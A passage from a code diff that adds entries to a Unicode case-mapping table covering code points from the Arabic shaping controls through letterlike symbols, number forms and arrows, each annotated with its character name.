+ ["\u206C", "\u206C"], /* INHIBIT ARABIC FORM SHAPING */
+ ["\u206D", "\u206D"], /* ACTIVATE ARABIC FORM SHAPING */
+ ["\u206E", "\u206E"], /* NATIONAL DIGIT SHAPES */
+ ["\u206F", "\u206F"], /* NOMINAL DIGIT SHAPES */
+ ["\u2070", "\u2070"], /* SUPERSCRIPT ZERO (SUPERSCRIPT DIGIT ZERO) */
+ ["\u2071", "\u2071"], /* SUPERSCRIPT LATIN SMALL LETTER I */
+ ["\u2072", "\u2072"],
+ ["\u2073", "\u2073"],
+ ["\u2074", "\u2074"], /* SUPERSCRIPT FOUR (SUPERSCRIPT DIGIT FOUR) */
+ ["\u2075", "\u2075"], /* SUPERSCRIPT FIVE (SUPERSCRIPT DIGIT FIVE) */
+ ["\u2076", "\u2076"], /* SUPERSCRIPT SIX (SUPERSCRIPT DIGIT SIX) */
+ ["\u2077", "\u2077"], /* SUPERSCRIPT SEVEN (SUPERSCRIPT DIGIT SEVEN) */
+ ["\u2078", "\u2078"], /* SUPERSCRIPT EIGHT (SUPERSCRIPT DIGIT EIGHT) */
+ ["\u2079", "\u2079"], /* SUPERSCRIPT NINE (SUPERSCRIPT DIGIT NINE) */
+ ["\u207A", "\u207A"], /* SUPERSCRIPT PLUS SIGN */
+ ["\u207B", "\u207B"], /* SUPERSCRIPT MINUS (SUPERSCRIPT HYPHEN-MINUS) */
+ ["\u207C", "\u207C"], /* SUPERSCRIPT EQUALS SIGN */
+ ["\u207D", "\u207D"], /* SUPERSCRIPT LEFT PARENTHESIS (SUPERSCRIPT OPENING PARENTHESIS) */
+ ["\u207E", "\u207E"], /* SUPERSCRIPT RIGHT PARENTHESIS (SUPERSCRIPT CLOSING PARENTHESIS) */
+ ["\u207F", "\u207F"], /* SUPERSCRIPT LATIN SMALL LETTER N */
+ ["\u2080", "\u2080"], /* SUBSCRIPT ZERO (SUBSCRIPT DIGIT ZERO) */
+ ["\u2081", "\u2081"], /* SUBSCRIPT ONE (SUBSCRIPT DIGIT ONE) */
+ ["\u2082", "\u2082"], /* SUBSCRIPT TWO (SUBSCRIPT DIGIT TWO) */
+ ["\u2083", "\u2083"], /* SUBSCRIPT THREE (SUBSCRIPT DIGIT THREE) */
+ ["\u2084", "\u2084"], /* SUBSCRIPT FOUR (SUBSCRIPT DIGIT FOUR) */
+ ["\u2085", "\u2085"], /* SUBSCRIPT FIVE (SUBSCRIPT DIGIT FIVE) */
+ ["\u2086", "\u2086"], /* SUBSCRIPT SIX (SUBSCRIPT DIGIT SIX) */
+ ["\u2087", "\u2087"], /* SUBSCRIPT SEVEN (SUBSCRIPT DIGIT SEVEN) */
+ ["\u2088", "\u2088"], /* SUBSCRIPT EIGHT (SUBSCRIPT DIGIT EIGHT) */
+ ["\u2089", "\u2089"], /* SUBSCRIPT NINE (SUBSCRIPT DIGIT NINE) */
+ ["\u208A", "\u208A"], /* SUBSCRIPT PLUS SIGN */
+ ["\u208B", "\u208B"], /* SUBSCRIPT MINUS (SUBSCRIPT HYPHEN-MINUS) */
+ ["\u208C", "\u208C"], /* SUBSCRIPT EQUALS SIGN */
+ ["\u208D", "\u208D"], /* SUBSCRIPT LEFT PARENTHESIS (SUBSCRIPT OPENING PARENTHESIS) */
+ ["\u208E", "\u208E"], /* SUBSCRIPT RIGHT PARENTHESIS (SUBSCRIPT CLOSING PARENTHESIS) */
+ ["\u208F", "\u208F"],
+ ["\u2090", "\u2090"], /* LATIN SUBSCRIPT SMALL LETTER A */
+ ["\u2091", "\u2091"], /* LATIN SUBSCRIPT SMALL LETTER E */
+ ["\u2092", "\u2092"], /* LATIN SUBSCRIPT SMALL LETTER O */
+ ["\u2093", "\u2093"], /* LATIN SUBSCRIPT SMALL LETTER X */
+ ["\u2094", "\u2094"], /* LATIN SUBSCRIPT SMALL LETTER SCHWA */
+ ["\u2095", "\u2095"], /* LATIN SUBSCRIPT SMALL LETTER H */
+ ["\u2096", "\u2096"], /* LATIN SUBSCRIPT SMALL LETTER K */
+ ["\u2097", "\u2097"], /* LATIN SUBSCRIPT SMALL LETTER L */
+ ["\u2098", "\u2098"], /* LATIN SUBSCRIPT SMALL LETTER M */
+ ["\u2099", "\u2099"], /* LATIN SUBSCRIPT SMALL LETTER N */
+ ["\u209A", "\u209A"], /* LATIN SUBSCRIPT SMALL LETTER P */
+ ["\u209B", "\u209B"], /* LATIN SUBSCRIPT SMALL LETTER S */
+ ["\u209C", "\u209C"], /* LATIN SUBSCRIPT SMALL LETTER T */
+ ["\u209D", "\u209D"],
+ ["\u209E", "\u209E"],
+ ["\u209F", "\u209F"],
+ ["\u20A0", "\u20A0"], /* EURO-CURRENCY SIGN */
+ ["\u20A1", "\u20A1"], /* COLON SIGN */
+ ["\u20A2", "\u20A2"], /* CRUZEIRO SIGN */
+ ["\u20A3", "\u20A3"], /* FRENCH FRANC SIGN */
+ ["\u20A4", "\u20A4"], /* LIRA SIGN */
+ ["\u20A5", "\u20A5"], /* MILL SIGN */
+ ["\u20A6", "\u20A6"], /* NAIRA SIGN */
+ ["\u20A7", "\u20A7"], /* PESETA SIGN */
+ ["\u20A8", "\u20A8"], /* RUPEE SIGN */
+ ["\u20A9", "\u20A9"], /* WON SIGN */
+ ["\u20AA", "\u20AA"], /* NEW SHEQEL SIGN */
+ ["\u20AB", "\u20AB"], /* DONG SIGN */
+ ["\u20AC", "\u20AC"], /* EURO SIGN */
+ ["\u20AD", "\u20AD"], /* KIP SIGN */
+ ["\u20AE", "\u20AE"], /* TUGRIK SIGN */
+ ["\u20AF", "\u20AF"], /* DRACHMA SIGN */
+ ["\u20B0", "\u20B0"], /* GERMAN PENNY SIGN */
+ ["\u20B1", "\u20B1"], /* PESO SIGN */
+ ["\u20B2", "\u20B2"], /* GUARANI SIGN */
+ ["\u20B3", "\u20B3"], /* AUSTRAL SIGN */
+ ["\u20B4", "\u20B4"], /* HRYVNIA SIGN */
+ ["\u20B5", "\u20B5"], /* CEDI SIGN */
+ ["\u20B6", "\u20B6"], /* LIVRE TOURNOIS SIGN */
+ ["\u20B7", "\u20B7"], /* SPESMILO SIGN */
+ ["\u20B8", "\u20B8"], /* TENGE SIGN */
+ ["\u20B9", "\u20B9"], /* INDIAN RUPEE SIGN */
+ ["\u20BA", "\u20BA"], /* TURKISH LIRA SIGN */
+ ["\u20BB", "\u20BB"], /* NORDIC MARK SIGN */
+ ["\u20BC", "\u20BC"], /* MANAT SIGN */
+ ["\u20BD", "\u20BD"], /* RUBLE SIGN */
+ ["\u20BE", "\u20BE"], /* LARI SIGN */
+ ["\u20BF", "\u20BF"], /* BITCOIN SIGN */
+ ["\u20C0", "\u20C0"],
+ ["\u20C1", "\u20C1"],
+ ["\u20C2", "\u20C2"],
+ ["\u20C3", "\u20C3"],
+ ["\u20C4", "\u20C4"],
+ ["\u20C5", "\u20C5"],
+ ["\u20C6", "\u20C6"],
+ ["\u20C7", "\u20C7"],
+ ["\u20C8", "\u20C8"],
+ ["\u20C9", "\u20C9"],
+ ["\u20CA", "\u20CA"],
+ ["\u20CB", "\u20CB"],
+ ["\u20CC", "\u20CC"],
+ ["\u20CD", "\u20CD"],
+ ["\u20CE", "\u20CE"],
+ ["\u20CF", "\u20CF"],
+ ["\u20D0", "\u20D0"], /* COMBINING LEFT HARPOON ABOVE (NON-SPACING LEFT HARPOON ABOVE) */
+ ["\u20D1", "\u20D1"], /* COMBINING RIGHT HARPOON ABOVE (NON-SPACING RIGHT HARPOON ABOVE) */
+ ["\u20D2", "\u20D2"], /* COMBINING LONG VERTICAL LINE OVERLAY (NON-SPACING LONG VERTICAL BAR OVERLAY) */
+ ["\u20D3", "\u20D3"], /* COMBINING SHORT VERTICAL LINE OVERLAY (NON-SPACING SHORT VERTICAL BAR OVERLAY) */
+ ["\u20D4", "\u20D4"], /* COMBINING ANTICLOCKWISE ARROW ABOVE (NON-SPACING ANTICLOCKWISE ARROW ABOVE) */
+ ["\u20D5", "\u20D5"], /* COMBINING CLOCKWISE ARROW ABOVE (NON-SPACING CLOCKWISE ARROW ABOVE) */
+ ["\u20D6", "\u20D6"], /* COMBINING LEFT ARROW ABOVE (NON-SPACING LEFT ARROW ABOVE) */
+ ["\u20D7", "\u20D7"], /* COMBINING RIGHT ARROW ABOVE (NON-SPACING RIGHT ARROW ABOVE) */
+ ["\u20D8", "\u20D8"], /* COMBINING RING OVERLAY (NON-SPACING RING OVERLAY) */
+ ["\u20D9", "\u20D9"], /* COMBINING CLOCKWISE RING OVERLAY (NON-SPACING CLOCKWISE RING OVERLAY) */
+ ["\u20DA", "\u20DA"], /* COMBINING ANTICLOCKWISE RING OVERLAY (NON-SPACING ANTICLOCKWISE RING OVERLAY) */
+ ["\u20DB", "\u20DB"], /* COMBINING THREE DOTS ABOVE (NON-SPACING THREE DOTS ABOVE) */
+ ["\u20DC", "\u20DC"], /* COMBINING FOUR DOTS ABOVE (NON-SPACING FOUR DOTS ABOVE) */
+ ["\u20DD", "\u20DD"], /* COMBINING ENCLOSING CIRCLE (ENCLOSING CIRCLE) */
+ ["\u20DE", "\u20DE"], /* COMBINING ENCLOSING SQUARE (ENCLOSING SQUARE) */
+ ["\u20DF", "\u20DF"], /* COMBINING ENCLOSING DIAMOND (ENCLOSING DIAMOND) */
+ ["\u20E0", "\u20E0"], /* COMBINING ENCLOSING CIRCLE BACKSLASH (ENCLOSING CIRCLE SLASH) */
+ ["\u20E1", "\u20E1"], /* COMBINING LEFT RIGHT ARROW ABOVE (NON-SPACING LEFT RIGHT ARROW ABOVE) */
+ ["\u20E2", "\u20E2"], /* COMBINING ENCLOSING SCREEN */
+ ["\u20E3", "\u20E3"], /* COMBINING ENCLOSING KEYCAP */
+ ["\u20E4", "\u20E4"], /* COMBINING ENCLOSING UPWARD POINTING TRIANGLE */
+ ["\u20E5", "\u20E5"], /* COMBINING REVERSE SOLIDUS OVERLAY */
+ ["\u20E6", "\u20E6"], /* COMBINING DOUBLE VERTICAL STROKE OVERLAY */
+ ["\u20E7", "\u20E7"], /* COMBINING ANNUITY SYMBOL */
+ ["\u20E8", "\u20E8"], /* COMBINING TRIPLE UNDERDOT */
+ ["\u20E9", "\u20E9"], /* COMBINING WIDE BRIDGE ABOVE */
+ ["\u20EA", "\u20EA"], /* COMBINING LEFTWARDS ARROW OVERLAY */
+ ["\u20EB", "\u20EB"], /* COMBINING LONG DOUBLE SOLIDUS OVERLAY */
+ ["\u20EC", "\u20EC"], /* COMBINING RIGHTWARDS HARPOON WITH BARB DOWNWARDS */
+ ["\u20ED", "\u20ED"], /* COMBINING LEFTWARDS HARPOON WITH BARB DOWNWARDS */
+ ["\u20EE", "\u20EE"], /* COMBINING LEFT ARROW BELOW */
+ ["\u20EF", "\u20EF"], /* COMBINING RIGHT ARROW BELOW */
+ ["\u20F0", "\u20F0"], /* COMBINING ASTERISK ABOVE */
+ ["\u20F1", "\u20F1"],
+ ["\u20F2", "\u20F2"],
+ ["\u20F3", "\u20F3"],
+ ["\u20F4", "\u20F4"],
+ ["\u20F5", "\u20F5"],
+ ["\u20F6", "\u20F6"],
+ ["\u20F7", "\u20F7"],
+ ["\u20F8", "\u20F8"],
+ ["\u20F9", "\u20F9"],
+ ["\u20FA", "\u20FA"],
+ ["\u20FB", "\u20FB"],
+ ["\u20FC", "\u20FC"],
+ ["\u20FD", "\u20FD"],
+ ["\u20FE", "\u20FE"],
+ ["\u20FF", "\u20FF"],
+ ["\u2100", "\u2100"], /* ACCOUNT OF */
+ ["\u2101", "\u2101"], /* ADDRESSED TO THE SUBJECT */
+ ["\u2102", "\u2102"], /* DOUBLE-STRUCK CAPITAL C (DOUBLE-STRUCK C) */
+ ["\u2103", "\u2103"], /* DEGREE CELSIUS (DEGREES CENTIGRADE) */
+ ["\u2104", "\u2104"], /* CENTRE LINE SYMBOL (C L SYMBOL) */
+ ["\u2105", "\u2105"], /* CARE OF */
+ ["\u2106", "\u2106"], /* CADA UNA */
+ ["\u2107", "\u2107"], /* EULER CONSTANT (EULERS) */
+ ["\u2108", "\u2108"], /* SCRUPLE */
+ ["\u2109", "\u2109"], /* DEGREE FAHRENHEIT (DEGREES FAHRENHEIT) */
+ ["\u210A", "\u210A"], /* SCRIPT SMALL G */
+ ["\u210B", "\u210B"], /* SCRIPT CAPITAL H (SCRIPT H) */
+ ["\u210C", "\u210C"], /* BLACK-LETTER CAPITAL H (BLACK-LETTER H) */
+ ["\u210D", "\u210D"], /* DOUBLE-STRUCK CAPITAL H (DOUBLE-STRUCK H) */
+ ["\u210E", "\u210E"], /* PLANCK CONSTANT */
+ ["\u210F", "\u210F"], /* PLANCK CONSTANT OVER TWO PI (PLANCK CONSTANT OVER 2 PI) */
+ ["\u2110", "\u2110"], /* SCRIPT CAPITAL I (SCRIPT I) */
+ ["\u2111", "\u2111"], /* BLACK-LETTER CAPITAL I (BLACK-LETTER I) */
+ ["\u2112", "\u2112"], /* SCRIPT CAPITAL L (SCRIPT L) */
+ ["\u2113", "\u2113"], /* SCRIPT SMALL L */
+ ["\u2114", "\u2114"], /* L B BAR SYMBOL */
+ ["\u2115", "\u2115"], /* DOUBLE-STRUCK CAPITAL N (DOUBLE-STRUCK N) */
+ ["\u2116", "\u2116"], /* NUMERO SIGN (NUMERO) */
+ ["\u2117", "\u2117"], /* SOUND RECORDING COPYRIGHT */
+ ["\u2118", "\u2118"], /* SCRIPT CAPITAL P (SCRIPT P) */
+ ["\u2119", "\u2119"], /* DOUBLE-STRUCK CAPITAL P (DOUBLE-STRUCK P) */
+ ["\u211A", "\u211A"], /* DOUBLE-STRUCK CAPITAL Q (DOUBLE-STRUCK Q) */
+ ["\u211B", "\u211B"], /* SCRIPT CAPITAL R (SCRIPT R) */
+ ["\u211C", "\u211C"], /* BLACK-LETTER CAPITAL R (BLACK-LETTER R) */
+ ["\u211D", "\u211D"], /* DOUBLE-STRUCK CAPITAL R (DOUBLE-STRUCK R) */
+ ["\u211E", "\u211E"], /* PRESCRIPTION TAKE */
+ ["\u211F", "\u211F"], /* RESPONSE */
+ ["\u2120", "\u2120"], /* SERVICE MARK */
+ ["\u2121", "\u2121"], /* TELEPHONE SIGN (T E L SYMBOL) */
+ ["\u2122", "\u2122"], /* TRADE MARK SIGN (TRADEMARK) */
+ ["\u2123", "\u2123"], /* VERSICLE */
+ ["\u2124", "\u2124"], /* DOUBLE-STRUCK CAPITAL Z (DOUBLE-STRUCK Z) */
+ ["\u2125", "\u2125"], /* OUNCE SIGN (OUNCE) */
+ ["\u2126", "\u03C9"], /* OHM SIGN (OHM) */
+ ["\u2127", "\u2127"], /* INVERTED OHM SIGN (MHO) */
+ ["\u2128", "\u2128"], /* BLACK-LETTER CAPITAL Z (BLACK-LETTER Z) */
+ ["\u2129", "\u2129"], /* TURNED GREEK SMALL LETTER IOTA */
+ ["\u212A", "\u006B"], /* KELVIN SIGN (DEGREES KELVIN) */
+ ["\u212B", "\u00E5"], /* ANGSTROM SIGN (ANGSTROM UNIT) */
+ ["\u212C", "\u212C"], /* SCRIPT CAPITAL B (SCRIPT B) */
+ ["\u212D", "\u212D"], /* BLACK-LETTER CAPITAL C (BLACK-LETTER C) */
+ ["\u212E", "\u212E"], /* ESTIMATED SYMBOL */
+ ["\u212F", "\u212F"], /* SCRIPT SMALL E */
+ ["\u2130", "\u2130"], /* SCRIPT CAPITAL E (SCRIPT E) */
+ ["\u2131", "\u2131"], /* SCRIPT CAPITAL F (SCRIPT F) */
+ ["\u2132", "\u214E"], /* TURNED CAPITAL F (TURNED F) */
+ ["\u2133", "\u2133"], /* SCRIPT CAPITAL M (SCRIPT M) */
+ ["\u2134", "\u2134"], /* SCRIPT SMALL O */
+ ["\u2135", "\u2135"], /* ALEF SYMBOL (FIRST TRANSFINITE CARDINAL) */
+ ["\u2136", "\u2136"], /* BET SYMBOL (SECOND TRANSFINITE CARDINAL) */
+ ["\u2137", "\u2137"], /* GIMEL SYMBOL (THIRD TRANSFINITE CARDINAL) */
+ ["\u2138", "\u2138"], /* DALET SYMBOL (FOURTH TRANSFINITE CARDINAL) */
+ ["\u2139", "\u2139"], /* INFORMATION SOURCE */
+ ["\u213A", "\u213A"], /* ROTATED CAPITAL Q */
+ ["\u213B", "\u213B"], /* FACSIMILE SIGN */
+ ["\u213C", "\u213C"], /* DOUBLE-STRUCK SMALL PI */
+ ["\u213D", "\u213D"], /* DOUBLE-STRUCK SMALL GAMMA */
+ ["\u213E", "\u213E"], /* DOUBLE-STRUCK CAPITAL GAMMA */
+ ["\u213F", "\u213F"], /* DOUBLE-STRUCK CAPITAL PI */
+ ["\u2140", "\u2140"], /* DOUBLE-STRUCK N-ARY SUMMATION */
+ ["\u2141", "\u2141"], /* TURNED SANS-SERIF CAPITAL G */
+ ["\u2142", "\u2142"], /* TURNED SANS-SERIF CAPITAL L */
+ ["\u2143", "\u2143"], /* REVERSED SANS-SERIF CAPITAL L */
+ ["\u2144", "\u2144"], /* TURNED SANS-SERIF CAPITAL Y */
+ ["\u2145", "\u2145"], /* DOUBLE-STRUCK ITALIC CAPITAL D */
+ ["\u2146", "\u2146"], /* DOUBLE-STRUCK ITALIC SMALL D */
+ ["\u2147", "\u2147"], /* DOUBLE-STRUCK ITALIC SMALL E */
+ ["\u2148", "\u2148"], /* DOUBLE-STRUCK ITALIC SMALL I */
+ ["\u2149", "\u2149"], /* DOUBLE-STRUCK ITALIC SMALL J */
+ ["\u214A", "\u214A"], /* PROPERTY LINE */
+ ["\u214B", "\u214B"], /* TURNED AMPERSAND */
+ ["\u214C", "\u214C"], /* PER SIGN */
+ ["\u214D", "\u214D"], /* AKTIESELSKAB */
+ ["\u2132", "\u214E"], /* TURNED SMALL F */
+ ["\u214F", "\u214F"], /* SYMBOL FOR SAMARITAN SOURCE */
+ ["\u2150", "\u2150"], /* VULGAR FRACTION ONE SEVENTH */
+ ["\u2151", "\u2151"], /* VULGAR FRACTION ONE NINTH */
+ ["\u2152", "\u2152"], /* VULGAR FRACTION ONE TENTH */
+ ["\u2153", "\u2153"], /* VULGAR FRACTION ONE THIRD (FRACTION ONE THIRD) */
+ ["\u2154", "\u2154"], /* VULGAR FRACTION TWO THIRDS (FRACTION TWO THIRDS) */
+ ["\u2155", "\u2155"], /* VULGAR FRACTION ONE FIFTH (FRACTION ONE FIFTH) */
+ ["\u2156", "\u2156"], /* VULGAR FRACTION TWO FIFTHS (FRACTION TWO FIFTHS) */
+ ["\u2157", "\u2157"], /* VULGAR FRACTION THREE FIFTHS (FRACTION THREE FIFTHS) */
+ ["\u2158", "\u2158"], /* VULGAR FRACTION FOUR FIFTHS (FRACTION FOUR FIFTHS) */
+ ["\u2159", "\u2159"], /* VULGAR FRACTION ONE SIXTH (FRACTION ONE SIXTH) */
+ ["\u215A", "\u215A"], /* VULGAR FRACTION FIVE SIXTHS (FRACTION FIVE SIXTHS) */
+ ["\u215B", "\u215B"], /* VULGAR FRACTION ONE EIGHTH (FRACTION ONE EIGHTH) */
+ ["\u215C", "\u215C"], /* VULGAR FRACTION THREE EIGHTHS (FRACTION THREE EIGHTHS) */
+ ["\u215D", "\u215D"], /* VULGAR FRACTION FIVE EIGHTHS (FRACTION FIVE EIGHTHS) */
+ ["\u215E", "\u215E"], /* VULGAR FRACTION SEVEN EIGHTHS (FRACTION SEVEN EIGHTHS) */
+ ["\u215F", "\u215F"], /* FRACTION NUMERATOR ONE */
+ ["\u2160", "\u2170"], /* ROMAN NUMERAL ONE */
+ ["\u2161", "\u2171"], /* ROMAN NUMERAL TWO */
+ ["\u2162", "\u2172"], /* ROMAN NUMERAL THREE */
+ ["\u2163", "\u2173"], /* ROMAN NUMERAL FOUR */
+ ["\u2164", "\u2174"], /* ROMAN NUMERAL FIVE */
+ ["\u2165", "\u2175"], /* ROMAN NUMERAL SIX */
+ ["\u2166", "\u2176"], /* ROMAN NUMERAL SEVEN */
+ ["\u2167", "\u2177"], /* ROMAN NUMERAL EIGHT */
+ ["\u2168", "\u2178"], /* ROMAN NUMERAL NINE */
+ ["\u2169", "\u2179"], /* ROMAN NUMERAL TEN */
+ ["\u216A", "\u217A"], /* ROMAN NUMERAL ELEVEN */
+ ["\u216B", "\u217B"], /* ROMAN NUMERAL TWELVE */
+ ["\u216C", "\u217C"], /* ROMAN NUMERAL FIFTY */
+ ["\u216D", "\u217D"], /* ROMAN NUMERAL ONE HUNDRED */
+ ["\u216E", "\u217E"], /* ROMAN NUMERAL FIVE HUNDRED */
+ ["\u216F", "\u217F"], /* ROMAN NUMERAL ONE THOUSAND */
+ ["\u2160", "\u2170"], /* SMALL ROMAN NUMERAL ONE */
+ ["\u2161", "\u2171"], /* SMALL ROMAN NUMERAL TWO */
+ ["\u2162", "\u2172"], /* SMALL ROMAN NUMERAL THREE */
+ ["\u2163", "\u2173"], /* SMALL ROMAN NUMERAL FOUR */
+ ["\u2164", "\u2174"], /* SMALL ROMAN NUMERAL FIVE */
+ ["\u2165", "\u2175"], /* SMALL ROMAN NUMERAL SIX */
+ ["\u2166", "\u2176"], /* SMALL ROMAN NUMERAL SEVEN */
+ ["\u2167", "\u2177"], /* SMALL ROMAN NUMERAL EIGHT */
+ ["\u2168", "\u2178"], /* SMALL ROMAN NUMERAL NINE */
+ ["\u2169", "\u2179"], /* SMALL ROMAN NUMERAL TEN */
+ ["\u216A", "\u217A"], /* SMALL ROMAN NUMERAL ELEVEN */
+ ["\u216B", "\u217B"], /* SMALL ROMAN NUMERAL TWELVE */
+ ["\u216C", "\u217C"], /* SMALL ROMAN NUMERAL FIFTY */
+ ["\u216D", "\u217D"], /* SMALL ROMAN NUMERAL ONE HUNDRED */
+ ["\u216E", "\u217E"], /* SMALL ROMAN NUMERAL FIVE HUNDRED */
+ ["\u216F", "\u217F"], /* SMALL ROMAN NUMERAL ONE THOUSAND */
+ ["\u2180", "\u2180"], /* ROMAN NUMERAL ONE THOUSAND C D */
+ ["\u2181", "\u2181"], /* ROMAN NUMERAL FIVE THOUSAND */
+ ["\u2182", "\u2182"], /* ROMAN NUMERAL TEN THOUSAND */
+ ["\u2183", "\u2184"], /* ROMAN NUMERAL REVERSED ONE HUNDRED */
+ ["\u2183", "\u2184"], /* LATIN SMALL LETTER REVERSED C */
+ ["\u2185", "\u2185"], /* ROMAN NUMERAL SIX LATE FORM */
+ ["\u2186", "\u2186"], /* ROMAN NUMERAL FIFTY EARLY FORM */
+ ["\u2187", "\u2187"], /* ROMAN NUMERAL FIFTY THOUSAND */
+ ["\u2188", "\u2188"], /* ROMAN NUMERAL ONE HUNDRED THOUSAND */
+ ["\u2189", "\u2189"], /* VULGAR FRACTION ZERO THIRDS */
+ ["\u218A", "\u218A"], /* TURNED DIGIT TWO */
+ ["\u218B", "\u218B"], /* TURNED DIGIT THREE */
+ ["\u218C", "\u218C"],
+ ["\u218D", "\u218D"],
+ ["\u218E", "\u218E"],
+ ["\u218F", "\u218F"],
+ ["\u2190", "\u2190"], /* LEFTWARDS ARROW (LEFT ARROW) */
+ ["\u2191", "\u2191"], /* UPWARDS ARROW (UP ARROW) */
+ ["\u2192", "\u2192"], /* RIGHTWARDS ARROW (RIGHT ARROW) */
+ ["\u2193", "\u2193"], /* DOWNWARDS ARROW (DOWN ARROW) */
+ ["\u2194", "\u2194"], /* LEFT RIGHT ARROW */
+ ["\u2195", "\u2195"], /* UP DOWN ARROW */
+ ["\u2196", "\u2196"], /* NORTH WEST ARROW (UPPER LEFT ARROW) */
+ ["\u2197", "\u2197"], /* NORTH EAST ARROW (UPPER RIGHT ARROW) */
+ ["\u2198", "\u2198"], /* SOUTH EAST ARROW (LOWER RIGHT ARROW) */
+ ["\u2199", "\u2199"], /* SOUTH WEST ARROW (LOWER LEFT ARROW) */
+ ["\u219A", "\u219A"], /* LEFTWARDS ARROW WITH STROKE (LEFT ARROW WITH STROKE) */
+ ["\u219B", "\u219B"], /* RIGHTWARDS ARROW WITH STROKE (RIGHT ARROW WITH STROKE) */
+ ["\u219C", "\u219C"], /* LEFTWARDS WAVE ARROW (LEFT WAVE ARROW) */
+ ["\u219D", "\u219D"], /* RIGHTWARDS WAVE ARROW (RIGHT WAVE ARROW) */
+ ["\u219E", "\u219E"], /* LEFTWARDS TWO HEADED ARROW (LEFT TWO HEADED ARROW) */
+ ["\u219F", "\u219F"], /* UPWARDS TWO HEADED ARROW (UP TWO HEADED ARROW) */
+ ["\u21A0", "\u21A0"], /* RIGHTWARDS TWO HEADED ARROW (RIGHT TWO HEADED ARROW) */
+ ["\u21A1", "\u21A1"], /* DOWNWARDS TWO HEADED ARROW (DOWN TWO HEADED ARROW) */
+ ["\u21A2", "\u21A2"], /* LEFTWARDS ARROW WITH TAIL (LEFT ARROW WITH TAIL) */
+ ["\u21A3", "\u21A3"], /* RIGHTWARDS ARROW WITH TAIL (RIGHT ARROW WITH TAIL) */
+ ["\u21A4", "\u21A4"], /* LEFTWARDS ARROW FROM BAR (LEFT ARROW FROM BAR) */
+ ["\u21A5", "\u21A5"], /* UPWARDS ARROW FROM BAR (UP ARROW FROM BAR) */
+ ["\u21A6", "\u21A6"], /* RIGHTWARDS ARROW FROM BAR (RIGHT ARROW FROM BAR) */
+ ["\u21A7", "\u21A7"], /* DOWNWARDS ARROW FROM BAR (DOWN ARROW FROM BAR) */
+ ["\u21A8", "\u21A8"], /* UP DOWN ARROW WITH BASE */
+ ["\u21A9", "\u21A9"], /* LEFTWARDS ARROW WITH HOOK (LEFT ARROW WITH HOOK) */
+ ["\u21AA", "\u21AA"], /* RIGHTWARDS ARROW WITH HOOK (RIGHT ARROW WITH HOOK) */
+ ["\u21AB", "\u21AB"], /* LEFTWARDS ARROW WITH LOOP (LEFT ARROW WITH LOOP) */
+ ["\u21AC", "\u21AC"], /* RIGHTWARDS ARROW WITH LOOP (RIGHT ARROW WITH LOOP) */
+ ["\u21AD", "\u21AD"], /* LEFT RIGHT WAVE ARROW */
+ ["\u21AE", "\u21AE"], /* LEFT RIGHT ARROW WITH STROKE */
+ ["\u21AF", "\u21AF"], /* DOWNWARDS ZIGZAG ARROW (DOWN ZIGZAG ARROW) */
+ ["\u21B0", "\u21B0"], /* UPWARDS ARROW WITH TIP LEFTWARDS (UP ARROW WITH TIP LEFT) */
+ ["\u21B1", "\u21B1"], /* UPWARDS ARROW WITH TIP RIGHTWARDS (UP ARROW WITH TIP RIGHT) */
+ ["\u21B2", "\u21B2"], /* DOWNWARDS ARROW WITH TIP LEFTWARDS (DOWN ARROW WITH TIP LEFT) */
+ ["\u21B3", "\u21B3"], /* DOWNWARDS ARROW WITH TIP RIGHTWARDS (DOWN ARROW WITH TIP RIGHT) */
+ ["\u21B4", "\u21B4"], /* RIGHTWARDS ARROW WITH CORNER DOWNWARDS (RIGHT ARROW WITH CORNER DOWN) */
+ ["\u21B5", "\u21B5"], /* DOWNWARDS ARROW WITH CORNER LEFTWARDS (DOWN ARROW WITH CORNER LEFT) */
+ ["\u21B6", "\u21B6"], /* ANTICLOCKWISE TOP SEMICIRCLE ARROW */
+ ["\u21B7", "\u21B7"], /* CLOCKWISE TOP SEMICIRCLE ARROW */
+ ["\u21B8", "\u21B8"], /* NORTH WEST ARROW TO LONG BAR (UPPER LEFT ARROW TO LONG BAR) */
+ ["\u21B9", "\u21B9"], /* LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR (LEFT ARROW TO BAR OVER RIGHT ARROW TO BAR) */
+ ["\u21BA", "\u21BA"], /* ANTICLOCKWISE OPEN CIRCLE ARROW */
+ ["\u21BB", "\u21BB"], /* CLOCKWISE OPEN CIRCLE ARROW */
+ ["\u21BC", "\u21BC"], /* LEFTWARDS HARPOON WITH BARB UPWARDS (LEFT HARPOON WITH BARB UP) */
+ ["\u21BD", "\u21BD"], /* LEFTWARDS HARPOON WITH BARB DOWNWARDS (LEFT HARPOON WITH BARB DOWN) */
+ ["\u21BE", "\u21BE"], /* UPWARDS HARPOON WITH BARB RIGHTWARDS (UP HARPOON WITH BARB RIGHT) */
+ ["\u21BF", "\u21BF"], /* UPWARDS HARPOON WITH BARB LEFTWARDS (UP HARPOON WITH BARB LEFT) */
+ ["\u21C0", "\u21C0"], /* RIGHTWARDS HARPOON WITH BARB UPWARDS (RIGHT HARPOON WITH BARB UP) */
+ ["\u21C1", "\u21C1"], /* RIGHTWARDS HARPOON WITH BARB DOWNWARDS (RIGHT HARPOON WITH BARB DOWN) */
+ ["\u21C2", "\u21C2"], /* DOWNWARDS HARPOON WITH BARB RIGHTWARDS (DOWN HARPOON WITH BARB RIGHT) */
+ ["\u21C3", "\u21C3"], /* DOWNWARDS HARPOON WITH BARB LEFTWARDS (DOWN HARPOON WITH BARB LEFT) */
+ ["\u21C4", "\u21C4"], /* RIGHTWARDS ARROW OVER LEFTWARDS ARROW (RIGHT ARROW OVER LEFT ARROW) */
+ ["\u21C5", "\u21C5"], /* UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW (UP ARROW LEFT OF DOWN ARROW) */
+ ["\u21C6", "\u21C6"], /* LEFTWARDS ARROW OVER RIGHTWARDS ARROW (LEFT ARROW OVER RIGHT ARROW) */
+ ["\u21C7", "\u21C7"], /* LEFTWARDS PAIRED ARROWS (LEFT PAIRED ARROWS) */
+ ["\u21C8", "\u21C8"], /* UPWARDS PAIRED ARROWS (UP PAIRED ARROWS) */
+ ["\u21C9", "\u21C9"], /* RIGHTWARDS PAIRED ARROWS (RIGHT PAIRED ARROWS) */
+ ["\u21CA", "\u21CA"], /* DOWNWARDS PAIRED ARROWS (DOWN PAIRED ARROWS) */
+ ["\u21CB", "\u21CB"], /* LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON (LEFT HARPOON OVER RIGHT HARPOON) */
